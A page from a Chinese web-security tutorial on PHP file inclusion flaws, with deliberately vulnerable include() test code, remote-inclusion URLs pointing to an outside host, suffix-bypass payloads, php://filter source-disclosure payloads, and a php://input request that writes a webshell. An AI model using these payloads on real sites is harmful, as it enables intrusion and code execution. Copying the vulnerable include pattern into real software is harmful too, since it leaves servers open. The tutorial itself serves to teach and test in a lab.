欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Web安全实战系列:文件包含漏洞

来源:本站整理 作者:佚名 时间:2018-09-05 TAG: 我要投稿
    $filename  = $_GET['filename'];
    include($filename);
?>

通过远程文件包含漏洞,包含php.txt可以解析。
http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt
测试结果:

有限制远程文件包含漏洞绕过
测试代码:
 include($_GET['filename'] . ".html"); ?>
代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

问号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?

#号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23

还有哪些可以绕过?用burp跑一遍发现空格也可以绕过:

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20

0×04 PHP伪协议
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
目录

php:// 输入输出流
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php://filter(本地磁盘文件进行读取)
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。
用法:?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。
条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

测试代码:
    $filename  = $_GET['filename'];
    include($filename);
?>

php://input
可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。
用法:?file=php://input 数据利用POST传过去。
php://input (读取POST数据)
碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;
测试代码:
    echo file_get_contents("php://input");
?>
测试结果:

php://input(写入木马)
测试代码:
    $filename  = $_GET['filename'];
    include($filename);
?>
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP
如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。
 fputs(fopen('shell.php','w'),'');?>

测试结果:

上一页  [1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载